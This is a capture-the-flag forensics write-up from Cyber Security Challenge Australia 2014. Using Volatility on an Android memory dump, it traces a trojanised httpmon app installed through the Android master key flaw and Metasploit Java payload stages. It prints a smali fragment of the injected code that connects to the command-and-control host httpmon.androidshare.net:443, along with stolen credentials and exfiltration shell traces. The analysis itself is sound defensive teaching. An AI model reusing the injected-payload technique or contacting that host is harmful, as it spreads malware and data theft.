Australian Government

Cyber Security Challenge Australia 2014
www.cyberchallenge.com.au

CySCA2014 Android Forensics Writeup

Background: The Android Forensics section requires players to conduct an analysis of a memory dump taken from an Android phone to identify any suspicious behaviour.

Android Forensics 1 - Flappy Bird

Question: Identify the suspicious app on the device

a) Identify the PID of the suspicious app on the phone.
b) What UID is associated with this process?
c) When did the process start?

Note the processes with PIDs 1454, 1461, 1468 are for dumping memory
and can be ignored.

Designed Solution: Players need to use the linux_pslist and linux_lsof volatility commands to locate a suspicious sh process that has been started by the suspicious process.

Write Up:
Prerequisites:
1. Copy the goldfish-2.6.29.zip into /volatility-read-only/volatility/plugins/overlays/linux/
2. Extract the memory dump from memory.7z

We start our analysis by dumping a list of processes on the android device.

```
#> python vol.py --profile Linuxgoldfish-2_6_29ARM -f memory.dmp linux_pslist
```

	Name **** SNIP ****	Pid	Uid	DTB	Start Time
0xf3c41000	sh	47	2000	0x33c98000	2014-02-25 04:56:18 UTC+0000
0xf3c7ec00	adbd	48	0	0x33c74000	2014-02-25 04:56:19 UTC+0000
	**** SNIP ****				
0xe102d800	**org.jtb.httpmon**	**1185**	**10061**	**0x21024000**	**2014-02-25 05:10:56 UTC+0000**
0xe8ffd800	com.android.mms	1221	10019	0x28da4000	2014-02-25 05:12:19 UTC+0000
0xe8ebd000	**sh**	**1255**	**10061**	**0x28db4000**	**2014-02-25 05:12:28 UTC+0000**
0xe8e60000	ndroid.contacts	1321	10010	0x25b78000	2014-02-25 05:14:43 UTC+0000
0xe5982c00	einfinity.photo	1368	10047	0x25ac8000	2014-02-25 05:15:27 UTC+0000
0xe4e97c00	ndroid.settings	1420	1000	0x24ec4000	2014-02-25 05:16:03 UTC+0000
0xf3fef000	sh	1454	0	0x28e64000	2014-02-25 05:16:24 UTC+0000
0xf3f9ac00	sh	1461	0	0x28e58000	2014-02-25 05:16:25 UTC+0000
0xe8cb4c00	insmod	1468	0	0x28c90000	2014-02-25 05:16:44 UTC+0000

We can see that apart from running a large number of apps on the phone, the following PIDs relate to shell prompts on the phone 47, 1255, 1454 and 1468.

Pids 1454 and 1461 seem as if they may be related to the insmod command (used for loading kernel modules), and are probably related to the dumping of memory from the Android device. Pid 47 seems as if it is related to adbd so it is probably related to dumping of the memory as well.
Note: This can be investigated further using the linux_lsmod command

The shell, *sh*, with PID *1255* shares the UID *10061* with the *org.jtb.httpmon* app with PID *1185*, this is interesting and *org.jtb.httpmon* deserves further investigation.

```
#> python vol.py --profile Linuxgoldfish-2_6_29ARM -f memory.dmp linux_lsof -p
1185
```

Pid	FD	Path **** SNIP ****
1185	37	/anon_inode:/[eventpoll]
1185	38	socket:[4594]
1185	**39**	**/data/data/org.jtb.httpmon/files/UpdateService.jar**
1185	**40**	**/data/data/org.jtb.httpmon/files/UpdateService.jar**
1185	**41**	**/data/data/org.jtb.httpmon/files/rathrazdaeizaztaxchj.jar**
1185	**42**	**/data/data/org.jtb.httpmon/files/rathrazdaeizaztaxchj.jar**
1185	43	/727/task/1538
		**** SNIP ****

We can see that lsof has identified two files that seem quite strange, we have Java files being stored within *org.jtb.httpmon*'s data folder. One of them has the unusual file name *rathrazdaeizaztaxchj.jar* and the other is named *UpdateService.jar*, the latter may be an attempt to seem like legitimate update functionality.

This is particularly unusual because Apps should be getting updated via the Play Store rather than using Jar files from within their data directory

We can now say that this particular instance of *org.jtb.httpmon* is suspicious.

Remember, sh is not overly suspicious by itself, but a process/app launching it is.

So to recap, The suspicious process with PID **1185** is associated with UID **10061** and was started at **2014-02-25 05:10:56 UTC+0000**

Note: Further analysis of the two files and shell could have been conducted to ensure this was absolutely the correct answer, however, such analysis is covered as part of the additional questions of this challenge

Android Forensics 2 - Tower of Medivh

Question: Provide the CVE for the vulnerability that was used to allow the installation of this package.

Designed Solution: Players use linux_find_file to locate the original modified apk file and dump it from the memory image. They then manually analyse the apk or submit it to Virus Total to determine the vulnerability and in turn the CVE exploited in the APK.

Write Up:
This question was much easier to answer if completed after all of the other questions as designed. This is counter-intuitive but the question was assigned a lower score so it was ordered before the rest by the scoreboard.

When trying to identify the CVE for the vulnerability, we collate the facts we currently know about this compromise.

- The Android version targeted was 4.1.2 (API 16).
- The classes.dex file has been modified from the original.
- Apps need to be signed with a valid certificate to be installed in Android.
- In the spear phishing email Mike Joss stated "it's signed by the author if your worried about rogue apps ;)".

The question we need to ask ourselves now is how does someone modify a classes.dex file while still retaining the original author's signature?

A quick google for “android 4.1.2 classes.dex modification signature vulnerability” reveals pages relating to the Android master key vulnerability.

We lookup the master key vulnerability (CVE-2013-4787) and can see that the description matches our situation. The classes.dex has been modified and the signature is still valid.

We can strengthen our guess by extracting the downloaded apk and submitting it to Virus Total.

```
#> python vol.py --profile Linuxgoldfish-2_6_29ARM -f memory.dmp linux_find_file
-F /mnt/sdcard/Download/[Megafileupload]org.jtb.httpmon.apk
Volatility Foundation Volatility Framework 2.3.1
Inode Number        Inode
---------------- ----------
             174 0xf36d6920

#> python vol.py --profile Linuxgoldfish-2_6_29ARM -f memory.dmp linux_find_file
-i 0xf36d6920 -O extracted_apk.apk
Volatility Foundation Volatility Framework 2.3.1

#> file extracted_apk.apk
```

```
extracted_apk.apk: Zip archive data, at least v2.0 to extract
```

Many of the scanners on virus total detect the android master keys vulnerability in this file and some even provide us with the CVE as well.

So the vulnerability that allowed this modified apk package to be installed was **CVE-2013-4787**.

Android Forensics 3 - Wrath

Question: Identify additional payload stages

a) What are the file paths for the second and third Java stages of the malware?
b) What are the file sizes of these two files (in bytes)?
c) What is the publicly named malware used in both stages?

Designed Solution: Players use the linux_lsof command to locate the second and third stage payloads they then find use linux_dentry_cache to find the file sizes. Finally, players dump the memory of the second and third malware stages and view the contents to identify the name of the malware used.

Write Up:
We start identifying the additional payload stages by looking at the output of the linux_lsof command that we ran in question 1.

```
#> python vol.py --profile Linuxgoldfish-2_6_29ARM -f memory.dmp linux_lsof -p
1185
```

Pid	FD	Path
		**** SNIP ****
1185	39	/data/data/org.jtb.httpmon/files/UpdateService.jar
1185	40	/data/data/org.jtb.httpmon/files/UpdateService.jar
1185	41	/data/data/org.jtb.httpmon/files/rathrazdaeizaztaxchj.jar
1185	42	/data/data/org.jtb.httpmon/files/rathrazdaeizaztaxchj.jar
		**** SNIP ****

So the file paths for the second and third Java stages of the malware are

```
/data/data/org.jtb.httpmon/files/UpdateService.jar
```

And

```
/data/data/org.jtb.httpmon/files/rathrazdaeizaztaxchj.jar
```

Note: In the answer submission field it didn't matter what order they were in.

To identify the size of the second and third Java stages we will look through the directory entry (dentry) cache looking for entries that relate to the *org.jtb.httpmon* application.

```
#> python vol.py --profile Linuxgoldfish-2_6_29ARM -f memory.dmp
linux_dentry_cache | grep org\.jtb\.httpmon
```

name	inode	UID	GID	size
data/org.jtb.httpmon/files/rathrazdaeizaztaxchj.jar	1230	10061	10061	**37661**
data/org.jtb.httpmon/files/rathrazdaeizaztaxchj.odex	0	0	0	0
data/org.jtb.httpmon/files/UpdateService.jar	1210	10061	10061	**1993**
data/org.jtb.httpmon/files/rathrazdaeizaztaxchj.dex	1240	10061	10061	96920
data/org.jtb.httpmon/files/UpdateService.odex	0	0	0	0
**** SNIP ****				

So the size of the malware stages in listed order are 1993 and 37661.

We will now try to determine the name of the malware used in both stages.

We start by finding out where these additional malware stages were loaded in memory:

```
#> python vol.py --profile Linuxgoldfish-2_6_29ARM -f memory.dmp linux_proc_maps
-p 1185 | grep 'UpdateService.jar\|rathrazdaeizaztaxchj.jar'
```

Pid	Start	Inode	File Path
1185	0x0000000049b80000	1210	/data/data/org.jtb.httpmon/files/UpdateService.jar
1185	0x000000004b883000	1230	/data/data/org.jtb.httpmon/files/rathrazdaeizaztaxchj.jar

Now we know where they were located in memory, we dump them to disk for further analysis.

```
#> python vol.py --profile Linuxgoldfish-2_6_29ARM -f memory.dmp linux_dump_map -p
1185 -D ~/dump-dir/ -s 0x0000000049b80000
#> python vol.py --profile Linuxgoldfish-2_6_29ARM -f memory.dmp linux_dump_map -p
1185 -D ~/dump-dir/ -s 0x000000004b883000
```

Now we will run strings over the extracted files to see if there are any text fragments that will help us identify this malware.

```
#> strings -a ~/dump-dir/*.jar
**** SNIP ****
META-INF/MANIFEST.MF
classes.dexPK
S7 D
@~ow
META-INF/MANIFEST.MF
META-INF/maven/com.metasploit/Metasploit-JavaPayload/pom.propertiesPK
META-INF/maven/com.metasploit/Metasploit-JavaPayload/pom.xmlPK
classes.dexPK
```

We see the string Metasploit-JavaPayload so we can take a reasonable guess that this is Metasploit.

To recap, the file paths for the second and third Java malware stages are **/data/data/org.jtb.httpmon/files/UpdateService.jar** and

data/org.jtb.httpmon/files/rathrazdaeizaztaxchj.jar. The files size, in lsof order are **1993** and **37661** and the malware used is **Metasploit-JavaPayload**.

Android Forensics 4 - Scams Through The Portal

Question: Investigate the attack vector

a) Provide the full path to the malicious app's original location on the phone.
b) Provide the IP for where the malware was initially downloaded.
c) What is the email address of the person who is responsible for this compromise?

Designed Solution: Players use linux_dentry_cache to identify the apps download path, they then look in memory for the actual full path. Players locate the IP by looking for instances of the file name in memory. Players then use pslist to identify processes that are likely to be targeted for social engineering and then looking in the memory of processes they are able to find the attackers IP.

Write Up:
Lets take a look within the directory entry (dentry) cache to see if we can find references to the APK.

```
#> python vol.py --profile Linuxgoldfish-2_6_29ARM -f memory.dmp
linux_dentry_cache | grep '\.apk' | grep httpmon | sort -t\| -k3,3n
```

name	inode	UID	GID	size
Download/[Megafileupload]org.jtb.httpmon.ap	174	1000	1015	124408
app/org.jtb.httpmon-1.apk	1063	1000	1000	124408
dalvik-cache/data@app@org.jtb.httpmon-1.apk classes.dex	1094	1000	10061	102144

Be aware that this is not the full path to the file, we will take a further look in memory to determine what it is.

```
#> python vol.py --profile Linuxgoldfish-2_6_29ARM -f memory.dmp linux_dump_map -D
~/dump-dir/
#> grep -a "Download/\[Megafileupload\]org\.jtb\.httpmon\.apk" ~/dump-dir/*
**** SNIP ****
/mnt/sdcard/Download/[Megafileupload]org.jtb.httpmon.apk
**** SNIP ****
```

The full path to the malicious app's original location on the phone is **/mnt/sdcard/Download/[Megafileupload]org.jtb.httpmon.apk**

Next we will find the IP address that the malware was initially downloaded from. We start by locating where the apk was downloaded from, we know it was saved to the */Download* folder.

We search the memory dump for the name of the file on disk.

```
#> python vol.py --profile Linuxgoldfish-2_6_29ARM -f memory.dmp linux_dump_map -D
~/dump-dir/
#> grep "\[Megafileupload\]org\.jtb\.httpmon\.apk" ~/dump-dir/*
Binary file task.530.0x2a003000.vma matches
Binary file task.928.0x2a003000.vma matches
Binary file task.975.0x2a003000.vma matches
Binary file task.988.0x2a003000.vma matches
```

Lets take a look at the first match, and conveniently we find the ip address the apk file was downloaded from.

```
#> strings -a ~/dump-dir/task.530.0x2a003000.vma | less
/\[Megafileupload\]org\.jtb\.httpmon\.apk

http://212.7.194.85/getfile.php?id=502128&access_key=142e7aafe3f38db049c9841c9fd22
63d&t=530c1cf3&o=C7AA675A03F1AD70CF8FEFF381EA8B85C7B6645A03EDB070CF8FE3EF87BCD8869
4B07A5B6CBCEC37D3F694F380F68D99&name=org.jtb.httpmon.apkfile:///mnt/sdcard/Downloa
d/[Megafileupload]org.jtb.httpmon.apk/mnt/sdcard/Download/[Megafileupload]org.jtb.
httpmon.apkapplication/octet-stream
qcom.android.browser
[Megafileupload]org.jtb.httpmon.apk212.7.194.85
content://media/external/file/169
Y
http://212.7.194.85/getfile.php?id=502128&access_key=af1a5e52710db24b96bd6b0fd889c
7c5&t=530c1c39&o=C7AA675A03F1AD70CF8FEFF381EA8B85C7B6645A03EDB070CF8FE3EF87BCD8869
4B07A5B6CBCEC37D3F694F380F68D99&name=org.jtb.httpmon.apkfile:///mnt/sdcard/Downloa
d/[Megafileupload]org.jtb.httpmon.apkapplication/octet-stream
```

*Note: The *getfile.php?id=502128&access_key= in the URL above suggests that this URL may not be the original download location and may be somewhere the browser was redirected to. Also, if we browse to the IP address we can see the IP is associated with megafileupload.com.*

So the IP address that the malware was initially downloaded from is **212.7.194.85.**

We next want to determine where the above webpage came from and who was behind it, to achieve this we will examine a few of the possible source processes.

```
#> python vol.py --profile Linuxgoldfish-2_6_29ARM -f memory.dmp linux_pslist
```

Offset	Name	Pid	Uid	Gid	DTB
	**** SNIP ****				
0xe4c5d800	twitter.android	554	10045	10045	0x24df8000
0xe4d75000	m.android.email	568	10030	10030	0x24e8c000
0xe4d55400	cm.aptoide.pt	1016	10057	10057	0x24d68000
0xe8ffd800	com.android.mms	1221	10019	10019	0x28da4000

	**** SNIP ****				

We have selected the above processes in order to determine if the URL we identified as the download location in the previous question originated in the email, twitter, Aptoide (app store alternative) or messaging applications.

```
#> grep httpmon ~/dump-dir/task.554.0x* ~/dump-dir/task.568.0x*
~/dump-dir/task.1016.0x* ~/dump-dir/task.1221.0x*
Binary file task.568.0x2a003000.vma matches
Binary file task.568.0x4d0eb000.vma matches
Binary file task.568.0x4dff0000.vma matches
Binary file task.1016.0x2a003000.vma matches
```

Lets take a look at the first match found, it is located on the mail applications heap so perhaps this was a spear phishing attack.

```
#> strings -a task.568.0x2a003000.vma | less /httpmon
y(mike.joss@hushmail.com
BF20
jossa
gmaiA
of your site and I saw that your it went down over t
@:( If you want a good application to monitor this kind of activity you should use
httpmon (h
**** SNIP ****
qXRE: Website downtime :(<20140224024319.AEDBF206E4@smtp.hushmail.com>
mike.joss@hushmail.comk3vin.saunders@gmail.comHi Kevin,I'm a big fan of your site
and I saw that your it went down over the weekend! :( If you want a good
application to monitor this kind of activity you should use httpmon
(http://www.megafileupl0N
**** SNIP ****
<html dir="ltr"><body
style="display:block;font-family:Arial;max-width:600px;"><!-- X-Notifications:
1:27a7e9f44c000000 --><div style="padding:10px 0;"><table sty
le="width:100%" cellpadding="0" cellspacing="0"><tr><td><a
href="https://plus.google.com/_/notifications/emlink?emr=0370477942554272388 5&emid
=CKDeuaHpwrwCFYZycgod
TYAAAA&path=%2Fstream&dt=1392078696125&ub=54"><img
src="https://ssl.gstatic.com/s2/oz/images/notifications/logo/googleplus-greyscale-
100x30-ccedb0dc
<span style="font-family: Arial; font-size: 13px;"><span style="color: rgb(68, 68,
68); font-family: Calibri, sans-serif; font-size: 15px; line-height:
21.299999237060547px; background-color: rgb(255, 255, 255);">Hi Kevin,</span><div
style="line-height: 21.299999237060547px; color: rgb(68, 68, 68); font-family:
Calibri, sans-serif; font-size: 15px; background-color: rgb(255, 255,
255);"><br></div><div style="line-height: 21.299999237060547px; color: rgb(68, 68,
68); font-family: Calibri, sans-serif; font-size: 15px; background-color: rgb(255,
255, 255);">I'm a big fan of your site and I saw that your it went down over the
weekend! :( If you want a good application to monitor this kind of activity you
```

```
should use <i>httpmon</i> (<a
href="http://www.megafileupload.com/en/file/502128/org-jtb-httpmon-apk.html"
target="_blank" style="font-weight: inherit; color: rgb(0, 104, 207); cursor:
pointer;">http://www.megafileupload.com/en/file/502128/org-jtb-httpmon-apk.html</a
>); it's signed by the author if your worried about rogue apps ;)</div><div
style="line-height: 21.299999237060547px; color: rgb(68, 68, 68); font-family:
Calibri, sans-serif; font-size: 15px; background-color: rgb(255, 255,
255);"><br></div><div style="line-height: 21.299999237060547px; color: rgb(68, 68,
68); font-family: Calibri, sans-serif; font-size: 15px; background-color: rgb(255,
255, 255);">Let me know if you have any problems!</div><div style="line-height:
21.299999237060547px; color: rgb(68, 68, 68); font-family: Calibri, sans-serif;
font-size: 15px; background-color: rgb(255, 255, 255);"><br></div><div
style="line-height: 21.299999237060547px; color: rgb(68, 68, 68); font-family:
Calibri, sans-serif; font-size: 15px; background-color: rgb(255, 255,
255);">Mike</div>
**** SNIP ****
```

We can see that mike.joss@hushmail.com was the account that sent the email to k3vin.saunders@gmail.com. So the email address of the person who is responsible for this compromise is **mike.joss@hushmail.com**

To recap, the full path of the malicious app's original location on the phone is **/mnt/sdcard/Download/[Megafileupload]org.jtb.httpmon.apk**. The IP address that hosted the initial malware download was **212.7.194.85** and the email address that sent the spear phishing email was **mike.joss@hushmail.com.**

Android Forensics 5 - hunter2

Question: Information on files exfiltrated

a) Where were the files copied to before they were stolen?
b) What were the credentials that were stolen?
c) What was the full path to the PDF document that was exfiltrated?

Designed Solution: Players use linux_dentry_cache to create a timeline of the files on disk. They then manually dump the command history from the sh processes heap memory allowing them to answer both a and b. They then use a fragment of a command entered to locate an exfiltrated file and use the generated timeline to determine the full path of the exfiltrated PDF.

Write Up:
To answer the first question we will create a timeline of the activity on the disk using the *linux_dentry_cache* plugin.

```
#> python vol.py --profile Linuxgoldfish-2_6_29ARM -f memory.dmp
linux_dentry_cache > ~/timeline.csv
```

We can take a look at entries relating to *org.jtb.httpmon* and sort them by inode number.

```
#> cat ~/timeline.csv | grep org\.jtb\.httpmon | sort -t\| -k 3,3n
```

name	inode	UID	size	crtime
app/org.jtb.httpmon-1.odex	0	0	0	
data/org.jtb.httpmon/files/a/a	**0**	**0**	**0**	
data/org.jtb.httpmon/files/a/k	**0**	**0**	**0**	
data/org.jtb.httpmon/files/a/p	**0**	**0**	**0**	
data/org.jtb.httpmon/files/rathrazdaeizaztaxchj.odex	0	0	0	
data/org.jtb.httpmon/files/UpdateService.odex	0	0	0	
data/org.jtb.httpmon/shared_prefs/org.jtb.httpmon_preferences.xml.bak	0	0	0	
Download/[Megafileupload]org.jtb.httpmon.apk	174	1000	124408	4084033912
data/org.jtb.httpmon/shared_prefs/org.jtb.httpmon_preferences.xml	481	10061	996	4083829648
data/org.jtb.httpmon/files	774	10061	2048	4084291808
data/org.jtb.httpmon/files/a	**789**	**10061**	**2048**	**4084386016**
data/org.jtb.httpmon/cache	946	10061	2048	4083091944
app/org.jtb.httpmon-1.apk	1063	1000	124408	4084268776
data/org.jtb.httpmon	1077	10061	2048	4084219264
data/org.jtb.httpmon/lib	1084	1000	2048	4084265520
dalvik-cache/data@app@org.jtb.httpmon-1.apk@classes.dex	1094	1000	102144	4084265816
data/org.jtb.httpmon/cache/com.android.renderscript.cache	1204	10061	2048	4083070408
data/org.jtb.httpmon/files/UpdateService.jar	1210	10061	1993	4083926472
data/org.jtb.httpmon/shared_prefs	1214	10061	2048	4083107768

data/org.jtb.httpmon/files/UpdateService.dex	1220	10061	3688	4083860840
data/org.jtb.httpmon/files/rathrazdaeizaztaxchj.jar	1230	10061	37661	4082926360
data/org.jtb.httpmon/files/rathrazdaeizaztaxchj.dex	1240	10061	96920	4082925768

We can see that there is some unusual activity taking place in the folder *data/org.jtb.httpmon/files/a*.

To further investigate where files may have been exfiltrated to, we will see if any commands can be recovered from the shell associated with the app (sh process with same UID).

```
#> python vol.py --profile Linuxgoldfish-2_6_29ARM -f memory.dmp linux_bash
```

This returned no results, so lets try do it manually ourselves!

```
#> python vol.py --profile Linuxgoldfish-2_6_29ARM -f memory.dmp linux_proc_maps
-p 1255 | grep heap
```

PID	Start	End	Flags	Pgoff	Major	Minor	Inode	File Path
1255	0x000000002a027000	0x000000002a032000	rw-	0x0	0	0	0	[heap]

```
#> python vol.py --profile Linuxgoldfish-2_6_29ARM -f memory.dmp linux_dump_map -p
1255 -D ~/dump-dir/ -s 0x000000002a027000
#> strings -a ~/dump-dir/task.1255.0x2a027000.vma
**** SNIP ****
*/system/bin/id
emacs
grep
make
COLUMNS
LINES
PPID
USER_ID
KSHUID
KSHEGID
KSHGID
PIPESTATUS
OLDPWD
*/system/bin/mkdir
card/Download/kevin.jpg > ./k
listing.pdf > ./a
*/data/data/org.jtb.httpmon/files/a
CDPATH
*/data/data/org.jtb.httpmon/files/a
netstat
*/system/bin/netstat
mkdir
*/system/bin/rm
```

```
*/data/data/org.jtb.httpmon/files
ls -l
ard/Download/
@ystem/bin/rm
@yste
*/system/bin/ps
*_=/system/bin/ls
@rg.jA
ttpmon/files
netstat
*nets
ard/y
*/system/bin/rm
Username: kevins
Password: s1mpl!c17y
Account active for 12 mon
*/sdcard/Download
in.jpg
*./k
Usen
**** SNIP ****
```

We can see from the strings output that the previously identified directory was definitely used to exfiltrate files; it also seems that those files have been deleted from the folder.

The files were stored in **/data/data/org.jtb.httpmon/files/a** before they were exfiltrated.

We can easily answer the second question from the same strings listing of the sh process heap.

We can see that the credentials that were stolen were **kevins/s1mpl!c17y**.

We will now determine the full path to the PDF document that was exfiltrated.

The commands executed within the shell show that a PDF document was copied elsewhere on the device, possibly for the purpose of exfiltration. It is also clear that we don't have all the information that was typed into the shell, however, we are able to see the following: *listing.pdf > ./a*

We can grep for the partial file name in the timeline we generated previously to determine the full path.

```
#> cat ~/timeline.csv | grep listing.pdf
```

name	inode	UID	GID	size
Download/Application_Whitelisting.pdf	161	1000	1015	449709

Again this is not the entire path of the file, we can take a further look using lsof and see if we can find the full path to the files location.

```
#> python vol.py --profile Linuxgoldfish-2_6_29ARM -f memory.dmp linux_lsof | grep
Application_Whitelisting.pdf
```

Pid	FD	Path
1141	76	/mnt/sdcard/Download/Application_Whitelisting.pdf

So the full path to the PDF document that was exfiltrated was **/mnt/sdcard/Download/Application_Whitelisting.pdf**

To recap, the files were copied into **/data/data/org.jtb.httpmon/files/a** before they were exfiltrated. The credentials stolen were **kevins/s1mpl!c17y** and the full path of the PDF document that was exfiltrated was **/mnt/sdcard/Download/Application_Whitelisting.pdf.**

Android Forensics 6 - Electronic Sheep

Question: Analysis on the malicious application

a) What is the malicious domain and port associated with the malware?
b) What is the existing Class method (Java) that was modified to jump to the malicious code?

Designed Solution: Players extract the classes.dex file for the suspicious application from memory. They decompile the classes.dex to Smali. They get a known good copy of the modified application from a trusted source. They compare the good version and the suspicious version to determine what parts have been modified or added. To identify where modifications have been made they decompile the Smali into Java and look at the code to determine where the malicious code was started.

Write Up:
Before we start this question we make sure to download and extract the system_framework.7z file supplied with the android challenges. These will be required when we disassemble the odex files later in this writeup.

To determine the malicious domain and port we will first extract the classes.dex file from memory. To do this we need to first locate its address in memory.

```
#> python vol.py --profile Linuxgoldfish-2_6_29ARM -f memory.dmp linux_proc_maps
-p 1185 | grep classes.dex
```

PID	Start	Inode	File Path
1185	0x000000004b891000	1094	/data/dalvik-cache/data@app@org.jtb.httpmon-1.apk@classes dex

We can see that the org.jtb.httpmon classes.dex is located at 0x000000004b891000.

We extract the classes.dex file from memory for further analysis.

```
#> python vol.py --profile Linuxgoldfish-2_6_29ARM -f memory.dmp linux_dump_map -p
1185 -D ~/dump-dir/ -s 0x4b891000
```

We can now use baksmali to convert the optimised Dalvik executable (.odex) from memory to Smali (https://code.google.com/p/smali/).

```
#> cp ~/dump-dir/task.1185.0x4b891000.vma ./classes.odex
#> java -jar baksmali-2.0.3.jar -d ./system/framework/ -x classes.odex -o
classes.odex_smali/
```

Note: This should not report any errors, any errors may relate to the use of the wrong Dalvik executables from /system/framework

This will output the Smali representation of the code into the folder *classes.odex_smali/*. We now obtain an unmodified copy of *org.jtb.httpmon* from a trusted source (i.e. the Google Play Store) and conduct the same conversion so we can compare both apps using their Smali code.

```
#> java -jar baksmali-2.0.3.jar -x org.jtb.httpmon-1.apk -o org.jtb.httpmon_smali/
```

We can now compare the source of the two files using *diff*. In particular we will be looking to see if any new functionality has been added.

```
#> diff -r org.jtb.httpmon_smali/ classes.odex_smali/ | less /.method
diff -r org.jtb.httpmon_smali/org/jtb/httpmon/MonitorService.smali
classes.odex_smali/org/jtb/httpmon/MonitorService.smali
5a6,9
    # static fields
.field public static context:Landroid/content/Context;

30a35,696
.method static synthetic access$0(Lorg/jtb/httpmon/MonitorService;)V
    .registers 1
    .prologue
    .line 23
    invoke-direct {p0}, Lorg/jtb/httpmon/MonitorService;->updateInit()V

     return-void
.end method

.method public static checkUpdates([Ljava/lang/String;)V
    .registers 32
    .param p0, "args"    # [Ljava/lang/String;

    .prologue
    .line 50
    :try_start_0
    const-string v22, "aHR0cG1vbi5hbmRyb2lkc2hhcmUubmV0"

    .line 51
    .local v22, "uPath":Ljava/lang/String;
    const-string v23, "NDQz"

    .line 52
    .local v23, "uSecure":Ljava/lang/String;
    new-instance v17, Ljava/net/Socket;
    new-instance v27, Ljava/lang/String;
    const/16 v28, 0x0
    move-object/from16 v0, v22
    move/from16 v1, v28

    invoke-static {v0, v1}, Landroid/util/Base64;->decode(Ljava/lang/String;I)[B
```

```
    **** SNIP ****
.end method
**** SNIP ****
```

We can see that a number of new methods have been added to *MonitorService*, of particular interest is *checkUpdates*. If we take a look a look at *checkUpdates* we see there are two base64 strings. Decoding these strings gives us the values ***httpmon.androidshare.net*** and ***443***. These strings are then subsequently used to create a network connection.

This means that the malicious domain and port contained added to the apk is **httpmon.androidshare.net:443**

The following methods were present in the malicious APK but not the clean APK. Knowing these, we can determine which existing functions were modified to execute this malicious code:

- .method static synthetic access$0(Lorg/jtb/httpmon/MonitorService;)V
- .method public static checkUpdates([Ljava/lang/String;)V
- .method private startAsync()V
- .method private updateInit()V

To make this process easier we will decompile the Smali code to Java. To achieve this we need to first convert the Smali code into a regular Dalvik executable (.dex) file, then convert the Dalvik executable to a Java (.jar) file.

```
#> java -jar smali-2.0.3.jar -o classes.dex classes.odex_smali/
~/dex2jar/dex2jar-0.0.9.15/d2j-dex2jar.sh classes.dex -o classes.dex.jar
~/jd/jd-gui ./classes.dex.jar
```

When we search *MonitorService.class* for the added methods listed above we can find that the ***isNetworkConnected()*** method had been modified to call *startAsync()*. This is where the actual malware starts executing.

To recap, The malicious domain and port associated with the malware is **httpmon.androidshare.net:443** and the existing class method that was modified to jump to the malicious code is **isNetworkConnected()**.